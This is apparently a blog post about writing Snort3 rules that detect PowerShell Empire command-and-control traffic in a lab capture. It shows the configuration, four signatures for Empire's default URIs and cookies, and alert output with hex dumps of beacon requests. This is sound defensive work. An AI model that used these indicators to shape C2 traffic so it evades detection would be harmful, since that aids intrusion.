Showing posts with label Snort3. Show all posts
Showing posts with label Snort3. Show all posts

Wednesday, February 2, 2022

Powershell Empire - Detection with Snort3

Do keep in mind, as I write these rules, this is basically from a learning perspective. Putting these into production, does not mean you will have the same detection. This is primarily because these values can be changed by the threat actor, thus resulting in an evasion of your IDS/IPS. This is being done primarily from my lab's perspective.

First verifying the version of Snort being used.

┌──(rootđź’€securitynik)-[~/snort-files/snort3-3.1.18.0/build]
└─# snort --version                                

   ,,_     -*> Snort++ <*-
  o"  )~   Version 3.1.18.0
   ''''    By Martin Roesch & The Snort Team
           http://snort.org/contact#team
           Copyright (C) 2014-2021 Cisco and/or its affiliates. All rights reserved.
           Copyright (C) 1998-2013 Sourcefire, Inc., et al.
           Using DAQ version 3.0.5
           Using LuaJIT version 2.1.0-beta3
           Using OpenSSL 1.1.1l  24 Aug 2021
           Using libpcap version 1.10.1 (with TPACKET_V3)
           Using PCRE version 8.44 2020-02-12
           Using ZLIB version 1.2.11
           Using FlatBuffers 2.0.5
           Using Hyperscan version 5.4.0 2021-12-11
           Using LZMA version 5.2.5

Creating my configuration file (snort.lua) and our rule files (local.rules) to use for this post.

┌──(rootđź’€securitynik)-[~/packets]
└─# touch snort.lua && touch local.rules

Testing the configuration and rule file along with some command line options, I will be using.

┌──(rootđź’€securitynik)-[~/packets]
└─# snort --pcap-list empire-full-session.pcap -A cmg --tweaks talos --pcap-show -k none -d -R local.rules -v  -c snort.lua --daq pcap -T
--------------------------------------------------
o")~   Snort++ 3.1.18.0
--------------------------------------------------
Loading snort.lua:
        hosts
        host_cache
        active
        packets
        decode
        so_proxy
        trace
        search_engine
        process
        network
        host_tracker
        output
        daq
        alerts
Finished snort.lua:
Loading rule args:
Loading local.rules:
Finished local.rules:
Finished rule args:
--------------------------------------------------
Network Policy : policy id 0 : snort.lua
--------------------------------------------------
Inspection Policy : policy id 0 : snort.lua
--------------------------------------------------
so_proxy:
--------------------------------------------------
pcap DAQ configured to read-file.
--------------------------------------------------
host_cache
    memcap: 8388608 bytes

Snort successfully validated the configuration (with 0 warnings).
o")~   Snort exiting

Ok rather than continuing to learn more about Snort, let's jump right into our configuration file and the rules. See the reference for one of my previous blogs on building Snort3. I will add comments to the snort.lua and local.rules to ensure we understand what my rules are doing. Additionally, I will be taking advantage of both the service rules as well as the traditional snort2 rules structure.

Somethings to keep in mind, when writing rules, focus on the vulnerability not the exploit. Focus on what you have control over, not what the attackers do. Focus on what is leaving your network more than what is entering your network.

Let's go!

Here is the custom snort.lua configuration file I am using.

-- take advantage of Snort3 defaults
include '/usr/local/etc/snort/snort_defaults.lua' 

-- take advantage of snort default classifications
classifications = default_classifications

-- Tell Snort3 what is our protected network so it can monitor it.
HOME_NET = [[10.0.0.110/32]]

-- This represents every network other than our protected network 
EXTERNAL_NET = '!$HOME_NET'


local_variables = 
  {
    nets = 
        {
	    HOME_NET = HOME_NET,
	    EXTERNAL_NET = EXTERNAL_NET,
	}
 }
	
	
ips = 
	{
	    variables = local_variables
	}		
	
	
-- Be able to profile the activities, get statistics
profiler = { }

-- Enable the Stream Inspector
stream = { }

-- Reasemmebe TCP
stream_ip = { 
		policy = "windows";
	}

-- Reasemmebe TCP
stream_tcp = {
	policy = "windows";
	require_3whs = 300;
	track_only = false;
 }
 
 
-- setup a binder
wizard = default_wizard
binder = 
	{
	    { when = { proto = 'tcp', ports = [[80 443]] },	use = { type = 'http_inspect' } },
	    { when = { service = 'http' },	use = { type = 'http_inspect' } },		
	    {	use = { type = 'wizard' } }, 
	}
	

-- Define the HTTP inspector
http_inspect = { }
		
event_filter =
{
-- alerts once per 60 seconds then ignore any additional events during the 60 seconds.
    { gid = 1, sid = 4000001, type = 'both', track = 'by_src', count = 1, seconds = 60},
    { gid = 1, sid = 4000002, type = 'both', track = 'by_src', count = 1, seconds = 60},
    { gid = 1, sid = 4000003, type = 'both', track = 'by_src', count = 1, seconds = 60},
    { gid = 1, sid = 4000004, type = 'both', track = 'by_src', count = 1, seconds = 60},
   
}

Below represents the contents of my local.rules file after the first rule is developed.

alert tcp $HOME_NET any -> $EXTERNAL_NET 443
    (
	rem: "This rule is looking for Powershell Empire /news.php, hence the 'msg' option";
	msg: "POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /news.php detected";
	
        rem: "Looking for HTTP method GET. Using the Hex values instead of the string in the first 3 bytes of the payload";
	http_method; 
	content: "|47 45 54|", offset 0, depth 3;
			
	rem: "find the string /news.php in the path. ";
	http_uri: path;
	content: "/news.php", distance 0, within 9, nocase;			
						
	rem: "Looking for HTTP Version 1.1";
	http_version: request;
	content: "1.1";
			
	rem: "Look in the HTTP header for Connection: Keep-Alive";
	http_header: field Connection;
	content: "Keep-Alive", nocase;
			
	rem: "Also look for a cookie that ends with '=', suggesting base64 encoded content";
	http_header: field Cookie;
	regex: "/.*=$/i";
			
	classtype: malware-cnc; 
	reference: url, http://www.securitynik.com;
	sid:4000001;
	rev: 10;
    )

When this rule is run against the pcap.

┌──(rootđź’€securitynik)-[~/packets]
└─#  snort --pcap-list empire-full-session.pcap -A cmg --talos --pcap-show -k none -d -R local.rules -c snort.lua -q | more
Reading network traffic from "empire-full-session.pcap" with snaplen = 1518
11/20-13:03:59.632367 [**] [1:4000001:10] "POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /news.php detected" [**] [Classification: Known malware command and control traffic] [Priority: 1]
 {TCP} 10.0.0.110:1650 -> 10.0.0.107:443

http_inspect.http_method[3]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
47 45 54                                          GET
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_version[8]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
48 54 54 50 2F 31 2E 31                           HTTP/1.1 
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_uri[9]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
2F 6E 65 77 73 2E 70 68  70                       /news.ph p
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_header[93]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
55 73 65 72 2D 41 67 65  6E 74 3A 20 73 65 63 75  User-Age nt: secu
72 69 74 79 6E 69 6B 2D  6C 61 75 6E 63 68 65 72  ritynik- launcher
2D 62 61 74 2D 55 73 65  72 2D 41 67 65 6E 74 0D  -bat-Use r-Agent.
0A 48 6F 73 74 3A 20 31  30 2E 30 2E 30 2E 31 30  .Host: 1 0.0.0.10
37 3A 34 34 33 0D 0A 43  6F 6E 6E 65 63 74 69 6F  7:443..C onnectio
6E 3A 20 4B 65 65 70 2D  41 6C 69 76 65           n: Keep- Alive
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_cookie[61]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
53 65 63 75 72 69 74 79  4E 69 6B 2D 48 54 54 50  Security Nik-HTTP
2D 4C 69 73 74 65 6E 65  72 2D 43 6F 6F 6B 69 65  -Listene r-Cookie
3D 5A 4F 6B 4D 77 38 59  6A 6B 57 32 34 4C 30 41  =ZOkMw8Y jkW24L0A
78 61 63 49 4C 65 38 65  72 4C 38 73 3D           xacILe8e rL8s=
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

Good stuff, looking at the summary.

rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000001  10        12       3      3       556        46       145            13        0        0

We made progress there. Moving to the second rule within the local.rules file, looking for the POST. I will copy most of the content above while making this into a service rule. Additionally, I will look for data at 420 bytes within the body of the HTTP message.

alert http
    (
	rem: "This rule is looking for Powershell Empire /news.php, hence the 'msg' option";
	msg: "POWERSHELL EMPIRE COMPROMISED HOST: POST request made for /news.php detected";
	
	rem: "Looking for HTTP method POST. Using the Hex values instead of the string in the first 3 bytes of the payload";
	http_method; 
	content: "|50 4F 53 54|", offset 0, depth 4;
			
        rem: "find the string /news.php in the path. ";
	http_uri: path;
	content: "/news.php", distance 0, within 9, nocase;			
						
	rem: "Looking for HTTP Version 1.1";
	http_version: request;
	content: "1.1";
			
	rem: "Looking for content greater than 400 bytes in the body of the message";
	http_client_body; 
	isdataat: 420, relative;
			
	classtype: malware-cnc; 
	reference: url, http://www.securitynik.com;
	sid:4000002;
	rev: 10;
    )

When executed, here is what I see.

┌──(rootđź’€securitynik)-[~/packets]
└─# snort --pcap-list empire-full-session.pcap -A cmg --talos --pcap-show -k none -d -R local.rules -c snort.lua -q | more                                                                                                                                               
Reading network traffic from "empire-full-session.pcap" with snaplen = 1518
11/20-13:04:02.701119 [**] [1:4000002:10] "POWERSHELL EMPIRE COMPROMISED HOST: POST request made for /news.php detected" [**] [Classification: Known malware command and control traffic] [Priority: 1
] {TCP} 10.0.0.110:1650 -> 10.0.0.107:443

http_inspect.http_method[4]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
50 4F 53 54                                       POST
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_version[8]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
48 54 54 50 2F 31 2E 31                           HTTP/1.1 
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_uri[9]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
2F 6E 65 77 73 2E 70 68  70                       /news.ph p
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_header[90]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
55 73 65 72 2D 41 67 65  6E 74 3A 20 73 65 63 75  User-Age nt: secu
72 69 74 79 6E 69 6B 2D  6C 61 75 6E 63 68 65 72  ritynik- launcher
2D 62 61 74 2D 55 73 65  72 2D 41 67 65 6E 74 0D  -bat-Use r-Agent.
0A 48 6F 73 74 3A 20 31  30 2E 30 2E 30 2E 31 30  .Host: 1 0.0.0.10
37 3A 34 34 33 0D 0A 43  6F 6E 74 65 6E 74 2D 4C  7:443..C ontent-L
65 6E 67 74 68 3A 20 34  36 32                    ength: 4 62
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_client_body[462]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
8B 8D 84 5C 4A D7 63 63  B5 F8 11 9C 17 CE 19 A2  ...\J.cc ........
4C 6F F2 79 7F CE BD 41  A3 F3 D5 DC AD BA AF 00  Lo.y...A ........
C1 CC 4E 71 AC C9 7D 56  D0 E7 CF 67 28 B8 62 0D  ..Nq..}V ...g(.b.
C2 3C 58 E7 38 68 84 38  7A C9 B7 0A 11 A8 1A FB  .<X.8h.8 z.......
09 54 56 8E 4C 5F C8 6B  40 87 D2 94 4D C0 8E 76  .TV.L_.k @...M..v
86 4C B0 7D E0 AD 56 70  0E 69 D4 4F 34 07 62 EE  .L.}..Vp .i.O4.b.
D2 0B F4 30 BF 56 8F EA  1A 66 2E 77 9D BB 49 1F  ...0.V.. .f.w..I.
C0 1E AF 58 04 06 91 BD  34 4C 01 37 6E EC C1 2B  ...X.... 4L.7n..+
CF 57 D3 9B 19 99 16 96  65 6C 09 8E 85 CD 5A B6  .W...... el....Z.
0B BE E7 36 38 9B DB 4B  7F B4 00 7C B9 D8 B8 38  ...68..K ...|...8
1E DA 91 C6 33 8C B7 29  7B A3 F9 79 33 A2 DE BB  ....3..) {..y3...
D5 AB 22 3E F3 9D 8E FA  47 CE E2 E0 BF 70 90 89  ..">.... G....p..
E4 1D B8 62 A2 2C F6 DB  C1 90 3A 3C 78 59 4B 54  ...b.,.. ..:<xYKT
47 9B EC 15 9C CA C8 D8  C1 98 A8 37 7C 24 38 59  G....... ...7|$8Y
E7 27 71 AC BC 87 A1 1F  E4 00 96 F6 4C 90 3D 25  .'q..... ....L.=%
78 85 75 11 80 00 A1 AC  03 3C 4D 9D 09 75 8A 46  x.u..... .<M..u.F
B8 54 85 86 2F D0 99 C8  F9 7A 5D 50 6F 61 D7 A7  .T../... .z]Poa..
06 FF F6 70 9F AB 57 2C  A1 BD CA B4 4F 10 B7 D1  ...p..W, ....O...
E5 E6 F4 F1 63 C9 6D 6C  F5 41 8F 31 3F 3B 90 3E  ....c.ml .A.1?;.>
31 EE CA 64 2C 43 50 44  03 A3 51 2D 06 FD 74 49  1..d,CPD ..Q-..tI
A4 68 12 10 4D FF 2E EB  36 3B 1A C7 D2 D9 B1 09  .h..M... 6;......
60 07 30 BB 05 BC 11 B2  3A CB E1 7A 0E F9 72 F6  `.0..... :..z..r.
68 58 E4 B9 64 EB B4 D7  90 0D BD D9 72 A6 D1 A0  hX..d... ....r...
89 99 2D 15 8A A8 04 CB  7D 50 90 3B 4B AC 6F 41  ..-..... }P.;K.oA
--More--

Going back to none service rules. Looking for /admin/get.php.

Here is the rule.

alert tcp $HOME_NET any -> $EXTERNAL_NET 443
    (
	rem: "This rule is looking for Powershell Empire /admin/get.php, hence the 'msg' option";
	msg: "POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /admin/get.php detected";
			
	rem: "Looking for HTTP method GET. Using the Hex values instead of the string in the first 3 bytes of the payload";
	http_method; 
	content: "|47 45 54|", offset 0, depth 3;
			
	rem: "find the string /news.php in the path. ";
	http_uri: path;
	content: "/admin/get.php", distance 0, within 14, nocase;			
						
	rem: "Looking for HTTP Version 1.1";
	http_version: request;
	content: "1.1";
			
	rem: "Also look for a cookie that ends with '=', suggesting base64 encoded content";
	http_header: field Cookie;
	regex: "/.*=$/i";
			
	classtype: malware-cnc; 
	reference: url, http://www.securitynik.com;
	sid:4000003;
	rev: 10;
    )

Here is the result from that rule.

┌──(rootđź’€securitynik)-[~/packets]
└─# snort --pcap-list empire-full-session.pcap -A cmg --talos --pcap-show -k none -d -R local.rules -c snort.lua -q | more                                                                                                                                               
Reading network traffic from "empire-full-session.pcap" with snaplen = 1518
11/20-13:05:06.697538 [**] [1:4000003:10] "POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /admin/get.php detected" [**] [Classification: Known malware command and control traffic] [Priority
: 1] {TCP} 10.0.0.110:1650 -> 10.0.0.107:443

http_inspect.http_method[3]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
47 45 54                                          GET
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_version[8]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
48 54 54 50 2F 31 2E 31                           HTTP/1.1 
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_uri[14]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
2F 61 64 6D 69 6E 2F 67  65 74 2E 70 68 70        /admin/g et.php
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_header[102]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
55 73 65 72 2D 41 67 65  6E 74 3A 20 4D 6F 7A 69  User-Age nt: Mozi
6C 6C 61 2F 35 2E 30 20  28 57 69 6E 64 6F 77 73  lla/5.0  (Windows
20 4E 54 20 36 2E 31 3B  20 57 4F 57 36 34 3B 20   NT 6.1;  WOW64; 
54 72 69 64 65 6E 74 2F  37 2E 30 3B 20 72 76 3A  Trident/ 7.0; rv:
31 31 2E 30 29 20 6C 69  6B 65 20 47 65 63 6B 6F  11.0) li ke Gecko
0D 0A 48 6F 73 74 3A 20  31 30 2E 30 2E 30 2E 31  ..Host:  10.0.0.1
30 37 3A 34 34 33                                 07:443
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_cookie[36]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
73 65 73 73 69 6F 6E 3D  44 72 70 30 53 78 70 6B  session= Drp0Sxpk
54 54 4A 32 62 4B 71 57  30 7A 7A 50 55 56 56 31  TTJ2bKqW 0zzPUVV1
67 32 59 3D                                       g2Y=
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

... and the final rule, looking for /login/process.php.

alert tcp $HOME_NET any -> $EXTERNAL_NET 443
    (
	rem: "This rule is looking for Powershell Empire /login/process.php, hence the 'msg' option";
	msg: "POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /login/process.php detected";
			
	rem: "Looking for HTTP method GET. Using the Hex values instead of the string in the first 3 bytes of the payload";
	http_method; 
	content: "|47 45 54|", offset 0, depth 3;
			
	rem: "find the string /login/process.php in the path. ";
	http_uri: path;
	content: "/login/process.php", distance 0, within 18, nocase;			
						
	rem: "Looking for HTTP Version 1.1";
	http_version: request;
	content: "1.1";
			
	rem: "Also look for a cookie that ends with '=', suggesting base64 encoded content";
	http_header: field Cookie;
	content: "session", nocase;
	regex: "/^session.*=$/i";
					
	classtype: malware-cnc; 
	reference: url, http://www.securitynik.com;
	sid:4000004;
	rev: 10;
    )

Here is what the results look like, when snort is run against the pcap.

┌──(rootđź’€securitynik)-[~/packets]
└─# snort --pcap-list empire-full-session.pcap -A cmg --talos --pcap-show -k none -d -R local.rules -c snort.lua -q | more
Reading network traffic from "empire-full-session.pcap" with snaplen = 1518
11/20-13:06:06.836488 [**] [1:4000004:10] "POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /login/process.php detected" [**] [Classification: Known malware command and control traffic] [Prio
rity: 1] {TCP} 10.0.0.110:1650 -> 10.0.0.107:443

http_inspect.http_method[3]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
47 45 54                                          GET
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_version[8]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
48 54 54 50 2F 31 2E 31                           HTTP/1.1 
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_uri[18]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
2F 6C 6F 67 69 6E 2F 70  72 6F 63 65 73 73 2E 70  /login/p rocess.p
68 70                                             hp
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_header[102]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
55 73 65 72 2D 41 67 65  6E 74 3A 20 4D 6F 7A 69  User-Age nt: Mozi
6C 6C 61 2F 35 2E 30 20  28 57 69 6E 64 6F 77 73  lla/5.0  (Windows
20 4E 54 20 36 2E 31 3B  20 57 4F 57 36 34 3B 20   NT 6.1;  WOW64; 
54 72 69 64 65 6E 74 2F  37 2E 30 3B 20 72 76 3A  Trident/ 7.0; rv:
31 31 2E 30 29 20 6C 69  6B 65 20 47 65 63 6B 6F  11.0) li ke Gecko
0D 0A 48 6F 73 74 3A 20  31 30 2E 30 2E 30 2E 31  ..Host:  10.0.0.1
30 37 3A 34 34 33                                 07:443
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_cookie[36]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
73 65 73 73 69 6F 6E 3D  72 2B 57 77 61 4F 42 61  session= r+WwaOBa
55 4C 50 37 6C 34 37 4B  72 64 68 55 30 41 42 4C  ULP7l47K rdhU0ABL
36 49 30 3D                                       6I0=
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

Ok. Then good stuff. With all of those in place we can now conclude, we are good to go for this detection. Taking a few different looks at the outputs.

First up JSON format.

┌──(rootđź’€securitynik)-[~/packets]
└─# snort --pcap-list empire-full-session.pcap -A alert_json --talos --pcap-show -k none -d -R local.rules -c snort.lua -q | more                                                                                                                                        
Reading network traffic from "empire-full-session.pcap" with snaplen = 1518
{ "timestamp" : "11/20-13:03:59.632367", "pkt_num" : 9, "proto" : "TCP", "pkt_gen" : "stream_tcp", "pkt_len" : 164, "dir" : "C2S", "src_ap" : "10.0.0.110:1650", "dst_ap" : "10.0.0.107:443", "rule" : 
"1:4000001:10", "action" : "allow" }
{ "timestamp" : "11/20-13:04:02.701119", "pkt_num" : 18, "proto" : "TCP", "pkt_gen" : "stream_tcp", "pkt_len" : 462, "dir" : "C2S", "src_ap" : "10.0.0.110:1650", "dst_ap" : "10.0.0.107:443", "rule" :
 "1:4000002:10", "action" : "allow" }
{ "timestamp" : "11/20-13:05:06.697538", "pkt_num" : 51, "proto" : "TCP", "pkt_gen" : "stream_tcp", "pkt_len" : 148, "dir" : "C2S", "src_ap" : "10.0.0.110:1650", "dst_ap" : "10.0.0.107:443", "rule" :
 "1:4000003:10", "action" : "allow" }
{ "timestamp" : "11/20-13:06:06.836488", "pkt_num" : 58, "proto" : "TCP", "pkt_gen" : "stream_tcp", "pkt_len" : 148, "dir" : "C2S", "src_ap" : "10.0.0.110:1650", "dst_ap" : "10.0.0.107:443", "rule" :
 "1:4000004:10", "action" : "allow" }
...

Looking at alert fast

┌──(rootđź’€securitynik)-[~/packets]
└─# snort --pcap-list empire-full-session.pcap -A alert_full --talos --pcap-show -k none -d -R local.rules -c snort.lua -q | more
Reading network traffic from "empire-full-session.pcap" with snaplen = 1518
[**] [1:4000001:10] "POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /news.php detected" [**]
11/20-13:03:59.632367 
[**] [1:4000002:10] "POWERSHELL EMPIRE COMPROMISED HOST: POST request made for /news.php detected" [**]
11/20-13:04:02.701119 
[**] [1:4000003:10] "POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /admin/get.php detected" [**]
11/20-13:05:06.697538 
[**] [1:4000004:10] "POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /login/process.php detected" [**]

Looking at the talos alert_talos ...

┌──(rootđź’€securitynik)-[~/packets]
└─# snort --pcap-list empire-full-session.pcap -A alert_talos --talos --pcap-show -k none -d -R local.rules -c snort.lua -q | more                                                                     
Reading network traffic from "empire-full-session.pcap" with snaplen = 1518

##### empire-full-session.pcap #####
        [1:4000001:10] POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /news.php detected (alerts: 3)
        [1:4000002:10] POWERSHELL EMPIRE COMPROMISED HOST: POST request made for /news.php detected (alerts: 3)
        [1:4000003:10] POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /admin/get.php detected (alerts: 452)
        [1:4000004:10] POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /login/process.php detected (alerts: 377)
#####

Looking at the above, I like the alert_talos as it gives me a summary of the alerts, rather than triggering all the alerts to the screen. Good job Talos!

Taking a final pass when snort is run without the -q option and with the -v option we see.

┌──(rootđź’€securitynik)-[~/packets]
└─# snort --pcap-list empire-full-session.pcap -A alert_talos --talos --pcap-show -k none -d -R local.rules -c snort.lua -v

--------------------------------------------------
o")~   Snort++ 3.1.18.0
--------------------------------------------------
Loading snort.lua:
Loading /usr/local/etc/snort/snort_defaults.lua:
Finished /usr/local/etc/snort/snort_defaults.lua:
	Lua Allowlist Keywords for snort.lua:
		default_classifications, default_ftp_server, default_gtp,
		default_hi_port_scan, default_js_norm_built_in_ident, default_low_port_scan,
		default_med_port_scan, default_references, default_smtp, default_variables,
		default_wizard, ftp_command_specs, gtp_v0_info, gtp_v0_msg, gtp_v1_info,
		gtp_v1_msg, gtp_v2_info, gtp_v2_msg, http_methods, icmp_hi_sweep,
		icmp_low_sweep, icmp_med_sweep, ip_hi_decoy, ip_hi_dist, ip_hi_proto,
		ip_hi_sweep, ip_low_decoy, ip_low_dist, ip_low_proto, ip_low_sweep,
		ip_med_decoy, ip_med_dist, ip_med_proto, ip_med_sweep, netflow_versions,
		sip_requests, smtp_default_alt_max_command_lines, tcp_hi_decoy, tcp_hi_dist,
		tcp_hi_ports, tcp_hi_sweep, tcp_low_decoy, tcp_low_dist, tcp_low_ports,
		tcp_low_sweep, tcp_med_decoy, tcp_med_dist, tcp_med_ports, tcp_med_sweep,
		telnet_commands, udp_hi_decoy, udp_hi_dist, udp_hi_ports, udp_hi_sweep,
		udp_low_decoy, udp_low_dist, udp_low_ports, udp_low_sweep, udp_med_decoy,
		udp_med_dist, udp_med_ports, udp_med_sweep
	hosts
	so_proxy
	stream_tcp
	packets
	alerts
	host_tracker
	http_inspect
	binder
	wizard
	stream_ip
	search_engine
	profiler
	ips
	trace
	classifications
	active
	host_cache
	decode
	stream
	process
	output
	network
	daq
Finished snort.lua:
Loading rule args:
Loading local.rules:
Finished local.rules:
Finished rule args:
--------------------------------------------------
rule counts
       total rules loaded: 4
               text rules: 4
            option chains: 4
            chain headers: 2
--------------------------------------------------
port rule counts
             tcp     udp    icmp      ip
     dst       3       0       0       0
   total       3       0       0       0
--------------------------------------------------
ips policies rule stats
              id  loaded  shared enabled    file
               0       4       0       4    snort.lua
--------------------------------------------------
service rule counts          to-srv  to-cli
                     http:        4       4
                    http2:        4       4
                    total:        8       8
--------------------------------------------------
fast pattern service groups  to-srv  to-cli
                      key:        2       2
                   header:        2       2
--------------------------------------------------
search engine
                instances: 8
                 patterns: 16
            pattern chars: 212
               num states: 204
         num match states: 16
             memory scale: KB
             total memory: 14.2461
           pattern memory: 0.824219
        match list memory: 2.09375
        transition memory: 10.3281
--------------------------------------------------
Flow Tracking
--------------------------------------------------
stream:
            ip_frags_only: disabled
                max_flows: 476288
               max_aux_ip: 16
          pruning_timeout: 30
                 ip_cache: { idle_timeout = 180, cap_weight = 0 }
                tcp_cache: { idle_timeout = 3600, cap_weight = 11000 }
                udp_cache: { idle_timeout = 180, cap_weight = 0 }
               icmp_cache: { idle_timeout = 180, cap_weight = 0 }
               user_cache: { idle_timeout = 180, cap_weight = 0 }
               file_cache: { idle_timeout = 180, cap_weight = 32 }
--------------------------------------------------
Network Policy : policy id 0 : snort.lua
--------------------------------------------------
Inspection Policy : policy id 0 : snort.lua
--------------------------------------------------
binder:
                 bindings:
                           { when = { proto = tcp, ports = 80 443 },
                             use = { type = http_inspect } }
                           { when = { service = http },
                             use = { type = http_inspect } }
                           { when = { },
                             use = { type = wizard } }
--------------------------------------------------
http_inspect:
            request_depth: -1 (unlimited)
           response_depth: -1 (unlimited)
                    unzip: enabled
            normalize_utf: enabled
           decompress_pdf: disabled
           decompress_swf: disabled
           decompress_zip: disabled
           decompress_vba: disabled
         script_detection: disabled
     normalize_javascript: disabled
max_javascript_whitespaces: 200
   js_normalization_depth: -1
 js_norm_identifier_depth: 65536
    js_norm_max_tmpl_nest: 32
js_norm_max_bracket_depth: 256
  js_norm_max_scope_depth: 256
                percent_u: disabled
                     utf8: enabled
           utf8_bare_byte: disabled
              iis_unicode: disabled
    iis_unicode_code_page: 1252
        iis_double_decode: enabled
      oversize_dir_length: 300
       backslash_to_slash: enabled
            plus_to_space: enabled
            simplify_path: enabled
              xff_headers: x-forwarded-for true-client-ip
request_body_app_detection: enabled
--------------------------------------------------
so_proxy:
--------------------------------------------------
stream_ip:
                max_frags: 8192
             max_overlaps: 0
          min_frag_length: 0
                  min_ttl: 1
                   policy: windows
          session_timeout: 60
--------------------------------------------------
stream_tcp:
             flush_factor: 0
                  max_pdu: 16384
               max_window: 0
                   no_ack: disabled
            overlap_limit: 0
                   policy: windows
              queue_limit: { max_bytes = 4194304, max_segments = 3072 }
         reassemble_async: enabled
             require_3whs: 300
          session_timeout: 180
           small_segments: { count = 0, maximum_size = 0 }
               track_only: disabled
--------------------------------------------------
wizard:
--------------------------------------------------
pcap DAQ configured to read-file.
--------------------------------------------------
host_cache
    memcap: 8388608 bytes
Commencing packet processing
++ [0] empire-full-session.pcap
Reading network traffic from "empire-full-session.pcap" with snaplen = 1518
Instance 0 daq pool size: 256
Instance 0 daq batch size: 64

##### empire-full-session.pcap #####
	[1:4000001:10] POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /news.php detected (alerts: 3)
	[1:4000002:10] POWERSHELL EMPIRE COMPROMISED HOST: POST request made for /news.php detected (alerts: 3)
	[1:4000003:10] POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /admin/get.php detected (alerts: 452)
	[1:4000004:10] POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /login/process.php detected (alerts: 377)
#####
-- [0] empire-full-session.pcap
--------------------------------------------------
Packet Statistics
--------------------------------------------------
daq
                    pcaps: 1
                 received: 17365
                 analyzed: 17365
                    allow: 17365
                 rx_bytes: 6929587
--------------------------------------------------
codec
                    total: 17365       	(100.000%)
                 discards: 1610        	(  9.272%)
                      eth: 17365       	(100.000%)
                     ipv4: 17365       	(100.000%)
                      tcp: 13785       	( 79.384%)
                      udp: 1970        	( 11.345%)
--------------------------------------------------
Module Statistics
--------------------------------------------------
binder
              raw_packets: 3580
                new_flows: 78
          service_changes: 4
                 no_match: 4
                 inspects: 3658
--------------------------------------------------
detection
                 analyzed: 17365
             key_searches: 1314
          header_searches: 2204
                   alerts: 835
             total_alerts: 835
                   logged: 835
--------------------------------------------------
http_inspect
                    flows: 25
                    scans: 4397
              reassembles: 4399
              inspections: 3956
                 requests: 1286
                responses: 464
             get_requests: 1253
            post_requests: 33
           request_bodies: 33
  max_concurrent_sessions: 6
          pipelined_flows: 10
       pipelined_requests: 491
              total_bytes: 898244
--------------------------------------------------
normalizer
           test_tcp_block: 3
--------------------------------------------------
search_engine
               max_queued: 2
            total_flushed: 1318
            total_inserts: 1318
             total_unique: 1318
     non_qualified_events: 483
         qualified_events: 835
           searched_bytes: 335622
--------------------------------------------------
stream
                    flows: 78
             total_prunes: 23
              idle_prunes: 23
--------------------------------------------------
stream_tcp
                 sessions: 78
                      max: 78
                  created: 78
                 released: 69
                 timeouts: 7
             instantiated: 9
                   setups: 78
